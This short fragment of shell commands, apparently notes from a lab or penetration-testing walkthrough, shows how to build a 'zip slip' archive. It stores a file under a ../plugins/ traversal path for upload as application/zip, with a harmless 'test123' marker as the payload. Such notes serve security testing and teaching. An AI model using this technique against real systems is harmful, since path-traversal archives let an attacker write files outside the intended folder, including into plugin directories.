mkdir ../desired_folder
Remember that the path on the right will be used in the zip slip.
echo "test123" > ../plugins/payload.txt
zip payload.zip ../plugins/payload.txt
Content-Type: application/zip PK